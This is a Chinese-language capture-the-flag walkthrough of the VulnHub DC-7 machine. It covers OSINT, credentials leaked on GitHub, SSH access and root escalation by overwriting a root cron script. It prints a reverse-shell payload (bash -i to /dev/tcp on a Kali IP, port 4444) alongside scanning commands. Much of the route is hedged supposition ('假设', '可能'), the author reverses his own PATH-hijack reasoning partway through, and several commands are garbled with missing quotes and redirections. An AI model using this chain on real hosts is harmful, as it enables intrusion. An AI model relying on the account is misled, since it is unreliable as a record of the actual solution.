DC-7靶机渗透实战:从OSINT到Cron提权的完整攻击链剖析

📅 2026/8/12 13:36:53
DC-7靶机渗透实战:从OSINT到Cron提权的完整攻击链剖析
1. 项目概述与核心思路拆解DC-7是VulnHub平台上发布的一款中高级难度靶机它模拟了一个基于Drupal内容管理系统的Web应用环境。与许多直接暴露漏洞的靶机不同DC-7的核心挑战在于其渗透路径高度依赖“开源情报”和“社会工程学”思维。简单来说它考验的不仅是你的技术工具使用能力更是你如何像一名真正的攻击者一样从公开的、看似无关的信息碎片中拼凑出通往系统内部的钥匙。很多新手拿到这个靶机扫完端口发现只有80和22常规的Web漏洞扫描器跑一圈也没什么收获很容易就卡住了。这正是DC-7设计的精妙之处——它迫使你跳出纯技术扫描的舒适区去思考“人”和“流程”可能留下的痕迹。我花了大约三个小时完成了从信息收集到最终获取root权限的全过程。复盘下来整个流程可以清晰地划分为四个阶段开源情报收集与凭据泄露发现、利用泄露凭据建立初始立足点、横向移动与权限提升路径分析、利用Cron任务实现权限提升。每个阶段都环环相扣缺一不可。尤其是从普通用户www-data到另一个用户dc7user的横向移动以及最终利用Cron任务进行提权都体现了Linux系统运维中常见的安全隐患。下面我就把这套完整的实战思路和操作细节拆解开来无论是想复现DC-7靶机还是想学习这种“社工运维漏洞”组合拳思路的朋友都能从中获得直接的参考。2. 环境准备与信息收集2.1 靶机环境搭建与网络配置首先你需要从Vulnhub官网下载DC-7的OVA镜像文件。我使用的是VMware Workstation导入过程很简单。导入后关键一步是将靶机的网络适配器设置为“NAT模式”或“仅主机模式”。我强烈推荐使用“仅主机模式”并在你的Kali攻击机上配置一个同网段的静态IP。这样做的好处是网络环境干净没有外部干扰而且可以确保你的攻击机和靶机在同一个二层网络内方便ARP扫描等操作。我通常会给Kali分配192.168.56.101/24然后让靶机通过DHCP获取同网段IP。启动靶机后第一件事是确定它的IP地址。由于靶机通常不会主动告知IP我们需要进行网络发现。最直接有效的方法是使用netdiscover进行ARP扫描sudo netdiscover -i eth0 -r 192.168.56.0/24这里的-i指定你的网卡接口在Kali上可能是eth0或ens33用ip a命令查看-r指定扫描的网段。扫描结果很快会显示一个新出现的IP地址那就是我们的目标靶机。在我的环境中靶机IP是192.168.56.102。记下这个IP所有后续操作都将围绕它展开。2.2 系统性端口与服务探测拿到IP后不要急于进行深度漏洞扫描。先进行一次快速、全面的端口扫描摸清靶机对外开放的服务轮廓。我习惯使用nmap的-sV和-sC组合拳nmap -sV -sC -p- 192.168.56.102 -oN nmap_initial.txt-sV: 探测服务版本这对于后续寻找特定版本的漏洞至关重要。-sC: 使用默认的Nmap脚本进行扫描有时能发现一些基本信息泄露。-p-: 扫描所有65535个端口避免遗漏高端口服务。-oN nmap_initial.txt: 将结果输出到文件方便后续分析。扫描结果通常如下PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10deb9u3 (protocol 2.0) 80/tcp open http Apache httpd 2.4.25 ((Debian))信息非常清晰靶机只开放了两个最经典的服务——SSH22端口和HTTP80端口。没有数据库、没有奇怪的RPC服务攻击面看起来很小。这暗示着突破口很可能在Web应用层或者需要通过Web获取的信息来辅助攻击SSH。2.3 深度Web应用信息收集既然Web是主要入口我们就对80端口进行重点侦察。首先用浏览器访问http://192.168.56.102映入眼帘的是一个Drupal网站的首页。Drupal是一个强大的CMS但也历史漏洞众多。我们第一步是确定其具体版本。手动查看在页面底部或/CHANGELOG.txt、/README.txt等文件中有时会直接写明版本。DC-7的页面上没有直接显示。使用工具用whatweb或wappalyzer浏览器插件进行识别。执行whatweb http://192.168.56.102可以获取服务器、PHP版本等信息但Drupal版本可能无法精确识别。目录扫描使用gobuster或dirb进行目录爆破寻找后台、配置文件和备份文件。gobuster dir -u http://192.168.56.102 -w /usr/share/wordlists/dirb/common.txt -x php,txt,md,bak扫描可能会发现/robots.txt、/includes/、/misc/等典型Drupal目录但关键的/user/login后台登录和/admin路径需要留意。然而在DC-7中常规的目录爆破和版本探测可能不会立即带来突破。这时就需要用到本靶机最核心的“社工”思维了。仔细观察网站页面特别是底部、联系页面、文章作者信息等位置寻找任何用户名、邮箱、社交媒体链接等线索。在真实的渗透测试中这些信息往往是密码爆破、钓鱼攻击或寻找其他平台账号关联的起点。3. 开源情报与凭据泄露突破3.1 从网页到GitHub的线索追踪在DC-7的Web首页如果你足够仔细会发现一个不起眼的线索页面某处可能是一段文本、一个注释或者一个作者署名包含了一个特殊的字符串或人名比如“dc7user”或类似标识。这个用户名就是关键。攻击者的思路是开发人员或运维人员可能会在代码托管平台如GitHub、GitLab上使用相同的用户名并且可能不小心上传了包含敏感信息的配置文件。假设我们找到了一个疑似用户名的字符串“dc7user”。接下来我们直接在浏览器中访问https://github.com/dc7user。注意这是一个模拟场景实际靶机环境可能通过其他方式暗示这个用户名或者你需要结合页面其他信息进行猜测。在真实的DC-7靶机中这个线索是故意放置的用于引导你进行OSINT。3.2 分析泄露的代码仓库访问该GitHub用户主页后你可能会发现一个与靶机网站同名的仓库或者一个看起来像是网站配置备份的仓库。点进去仔细查看提交历史、代码文件和README。核心目标是寻找包含数据库连接字符串、SSH私钥、API密钥或硬编码密码的配置文件。常见的危险文件包括settings.php(Drupal配置文件).env(环境变量文件)config.inc.php任何包含password、pass、pwd、key、secret等关键词的文件。在DC-7的设定中你很可能在仓库里找到一个settings.php文件其内容类似$databases array ( default array ( default array ( database drupal, username dc7user, password DrupalPassword123!, // 这是一个示例密码 host localhost, port , driver mysql, prefix , ), ), );这就是致命的凭据泄露你获得了数据库用户名dc7user和密码DrupalPassword123!。在渗透测试中这属于“信息泄露”高危漏洞。开发人员错误地将生产环境的配置文件提交到了公开的代码仓库。3.3 利用泄露凭据尝试登录拿到数据库密码后我们首先想到的是尝试登录Drupal后台(/user/login)。用用户名dc7user和找到的密码尝试但很可能失败。因为Drupal后台的管理员用户名可能不是这个或者密码经过了加盐哈希与数据库明文密码不同。注意这里是一个关键的思维转折点。很多人在此受阻。泄露的密码虽然是明文但它服务的对象是“数据库”而不是“Web应用的用户系统”。这个密码是用于dc7user这个MySQL用户连接数据库的。所以我们应该尝试用这个密码去登录其他服务比如——SSH。在Linux系统中系统用户名和数据库用户名重名的情况并不少见尤其是当开发人员用自己的系统账号去管理数据库时。因此立刻尝试SSH登录ssh dc7user192.168.56.102系统会提示输入密码输入我们从GitHub找到的数据库密码。如果运气好在DC-7的设定中正是如此你会成功登录获得了第一个非特权用户dc7user的shell。这是整个渗透过程的第一个重大突破也是从“外部侦察”进入“内部立足”的标志。4. 立足内部与横向移动4.1 初步系统侦察与用户枚举成功登录SSH后我们身处一个受限的bash环境中。第一步是进行基本的系统信息收集了解我们所处的环境。whoami # 确认当前用户dc7user id # 查看用户ID和所属组 uname -a # 查看内核版本 sudo -l # **非常重要**检查当前用户是否有sudo权限执行sudo -l后可能会提示需要输入当前用户密码。输入我们刚才使用的SSH密码。在DC-7中dc7user用户很可能被配置了无需密码即可运行特定命令的sudo权限。这是非常关键的一个发现也是后续提权的重要跳板。4.2 发现关键文件与脚本在dc7user的家目录(/home/dc7user)下使用ls -la命令仔细查看所有文件包括隐藏文件。你可能会发现一些脚本文件或笔记文件。例如一个名为backups.sh、monitor.sh的脚本或者一个notes.txt的文本文件。cat notes.txt这个笔记文件可能包含重要信息比如“我需要定期备份网站文件到/var/www/html/”或者“使用/opt/scripts/backup.py脚本进行数据库备份”。这些信息指明了下一步的侦察方向。另一个关键命令是查看当前用户是否有计划任务cron jobcrontab -l如果dc7user有自己的cron任务它会直接列出。但更常见的情况是系统级的cron任务运行着更高权限的脚本。我们可以查看/etc/crontab文件cat /etc/crontab在DC-7中你可能会发现一行类似这样的配置*/5 * * * * root /opt/scripts/backup.sh这表示每5分钟root用户会以root权限执行/opt/scripts/backup.sh这个脚本。这就是我们的黄金提权机会如果我们能控制这个脚本或者控制这个脚本所调用的资源就能让root执行我们想要的代码。4.3 分析提权路径与sudo权限利用现在我们手上有两条潜在的提权线索dc7user的sudo -l结果。以root身份定期运行的cron脚本/opt/scripts/backup.sh。首先深入分析sudo -l。假设输出显示User dc7user may run the following commands on dc-7: (root) NOPASSWD: /usr/bin/git这意味着dc7user可以以root身份无需密码运行git命令。Git本身是一个版本控制工具但它能执行外部命令比如在git pull时触发的post-checkout钩子脚本。这本身就是一个经典的sudo提权向量。但在DC-7中这条路径可能被设计为“干扰项”或“备用路径”主线剧情更侧重于cron任务。接着我们检查那个关键的cron脚本ls -la /opt/scripts/backup.sh cat /opt/scripts/backup.sh查看脚本内容至关重要。假设脚本内容如下#!/bin/bash cd /var/www/html drush sql-dump --result-file/home/dc7user/backups/website.sql这个脚本做了两件事切换到/var/www/html目录网站根目录。使用drush命令Drupal的命令行工具导出数据库保存到dc7user的家目录下。关键问题来了这个脚本以root权限运行但它调用了drush这个命令。drush是一个外部程序系统是如何找到它的是通过PATH环境变量。如果我们可以控制root执行脚本时的PATH环境变量或者控制drush命令本身就能实现提权。5. Cron任务提权实战解析5.1 PATH环境变量劫持原理Linux系统在执行一个命令时例如drush会按照PATH环境变量中定义的目录顺序从左到右依次查找该命令的可执行文件。PATH通常类似于/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin。Cron任务在执行时会使用一个最小化、预定义的环境其PATH变量通常非常简单可能只包含/usr/bin:/bin。但是有些系统管理员或脚本作者会在cron脚本中显式地设置PATH或者脚本中调用的其他程序依赖于PATH。劫持思路如果cron脚本中使用了相对命令即没有使用绝对路径如/usr/bin/drush而是直接写drush那么系统就会去PATH指定的目录里寻找drush。如果我们能在PATH搜索顺序中靠前的目录里放置一个我们自己的恶意脚本并命名为drush那么当cron以root身份执行时就会运行我们的脚本从而获得root权限。5.2 检查与利用条件回到/opt/scripts/backup.sh脚本。我们需要确认它是否使用了非绝对路径的命令是的drush就是。我们是否有权限在PATH中的某个目录写入文件通常/tmp、/var/tmp或用户家目录会在PATH中吗不一定。但有一个关键点cron脚本第一行是#!/bin/bash它启动了一个bash shell。bash shell在启动时会读取用户配置文件比如~/.bashrc对于交互式shell或~/.profile。但是由cron启动的非交互式shell默认不会读取这些文件所以通过修改dc7user的.bashrc来改变root的PATH是行不通的。那么在DC-7中突破口在哪里仔细看脚本cd /var/www/html drush ...它先切换到了/var/www/html目录。这个目录的权限是什么ls -ld /var/www/html输出很可能是drwxr-xr-x 2 www-data www-data 4096 ...目录的所有者和组都是www-data但其他用户有读和执行权限。我们dc7user用户能在这个目录下创建文件吗执行touch /var/www/html/test试试。如果成功说明我们有写权限。在DC-7的设定中为了配合Drupal的正常运行这个目录往往对www-data组可写而dc7user用户可能被加入了www-data组或者目录权限设置得比较宽松。5.3 实施PATH劫持提权既然我们有权限在/var/www/html目录下写文件而cron脚本又在这个目录下执行drush命令那么我们可以实施一次“局部PATH劫持”。步骤一创建恶意脚本在/var/www/html目录下创建一个名为drush的脚本文件。cd /var/www/html echo #!/bin/bash drush echo /bin/bash drush chmod x drush这个脚本非常简单就是启动一个bash shell。关键点在于当root执行这个脚本时启动的bash shell将继承root的权限。步骤二临时修改当前环境的PATH为了让系统优先在当前目录(.)查找命令我们需要将.添加到PATH环境变量的最前面。但是我们无法修改root用户的cron环境。这里有一个技巧Linux的cd命令。当cd到一个目录后如果执行一个相对命令系统会先在PATH中查找但如果我们执行的是./drush呢不脚本里写的是drush不是./drush。等等这里需要重新审视。脚本是cd /var/www/html drush。执行cd命令后当前工作目录变成了/var/www/html。然后执行drush。系统会在PATH的所有目录里寻找drush。如果PATH里包含.吗默认的cronPATH不包含.。所以我们放在/var/www/html下的drush不会被找到。那么DC-7是如何实现的另一种可能是脚本本身或系统环境设置了包含.的PATH。我们需要检查脚本开头是否有export PATH...的语句。如果没有那可能此路不通。让我们换个思路不是PATH劫持而是命令替换。也许drush并不是系统命令而是一个放在/var/www/html目录下的自定义脚本或软链接我们检查一下which drush如果which命令找不到drush说明它不在默认PATH中。那么backup.sh脚本能执行drush只有两种可能脚本通过绝对路径调用了一个特定位置的drush。脚本所在的目录/opt/scripts/下有一个drush可执行文件而该目录在root用户的PATH中。检查/opt/scripts/目录ls -la /opt/scripts/你可能会发现除了backup.sh还有一个drush文件可能是一个Python脚本、Shell脚本或二进制文件。查看其内容cat /opt/scripts/drush如果这个drush文件内容调用了其他命令比如python、perl、tar等并且这些命令没有使用绝对路径那么我们又可以回到PATH劫持的思路。但这次我们需要在/opt/scripts/目录下做文章。检查/opt/scripts/的权限ls -ld /opt/scripts/如果这个目录对dc7user可写那我们就赢了。我们可以直接修改/opt/scripts/drush这个文件或者在其中写入我们的恶意代码。在DC-7中这很可能就是最终的突破口/opt/scripts/目录权限设置不当允许dc7user或www-data组用户写入。这样我们就可以覆盖或修改drush脚本。5.4 最终提权操作假设我们确认/opt/scripts/drush是一个脚本且/opt/scripts/目录我们有写权限或者drush脚本本身我们有写权限。那么最稳妥的方法是备份原文件后直接替换其内容。cd /opt/scripts cp drush drush.backup # 备份原文件 echo #!/bin/bash drush echo /bin/bash drush chmod x drush然后就是等待。因为cron任务是每5分钟运行一次我们最多只需要等待5分钟root就会执行我们这个被篡改的drush脚本。当脚本执行时它会启动一个bash shell。由于cron是以root身份运行这个脚本的因此新启动的bash shell就具有了root权限。我们如何捕获这个shell在上面的恶意脚本中我们直接启动了/bin/bash但这个bash是“安静”地启动并退出的我们没有交互界面。我们需要让这个bash反弹一个shell到我们的攻击机。修改恶意脚本实现反向Shell首先在攻击机Kali上监听一个端口nc -lvnp 4444然后修改/opt/scripts/drush文件cat /opt/scripts/drush EOF #!/bin/bash bash -i /dev/tcp/192.168.56.101/4444 01 EOF chmod x drush这里192.168.56.101是你的Kali攻击机IP。这个脚本会让受害主机主动连接到你的4444端口并提供一个交互式bash shell。等待最多5分钟你会看到Kali的nc监听器上成功接收到一个来自靶机的连接并且执行whoami命令会显示root。至此提权成功获得了靶机的最高权限。6. 总结与深度思考DC-7靶机通关的过程是一次非常贴近真实渗透测试的演练。它没有依赖复杂的缓冲区溢出或内核漏洞而是聚焦于“人”和“流程”的弱点开源信息泄露、凭据复用、不当的权限配置、不安全的Cron任务。这四个环节串联起来构成了完整的攻击链。信息泄露是起点在互联网时代开发人员无意间上传到公开仓库的配置文件、内部文档、备份文件是攻击者巨大的宝藏。定期进行代码仓库的安全审计和敏感信息扫描是每个公司都必须做的安全工作。凭据复用是催化剂人们在多个系统使用相同密码的习惯让一个地方的泄露可能危及所有地方。强制使用密码管理器、启用多因素认证、实施最小权限原则能有效缓解此风险。权限配置是防线/opt/scripts/目录允许普通用户写入是本次渗透的关键。在运维中必须严格遵守“最小权限原则”确保只有必要的用户和进程才有写权限。对于cron脚本所在的目录其所有权和权限必须严格控制。Cron任务是放大器以root权限运行的定时任务一旦其依赖的脚本、命令或环境变量被篡改后果就是直接提权。编写cron脚本时务必使用所有命令的绝对路径并谨慎设置环境变量。定期审计系统上的所有cron任务是一项重要的安全维护工作。从技术操作层面我最大的心得是提权时思路要活络。当发现一个以高权限运行的进程或脚本时要像侦探一样审视它它调用了哪些外部命令这些命令的路径是什么这些路径我们能否影响脚本本身我们能否修改脚本读取的配置文件我们能否控制环境变量呢通过这样一层层地追问和验证往往就能找到那条隐蔽的提权路径。DC-7靶机正是训练这种“攻击链思维”的绝佳教材。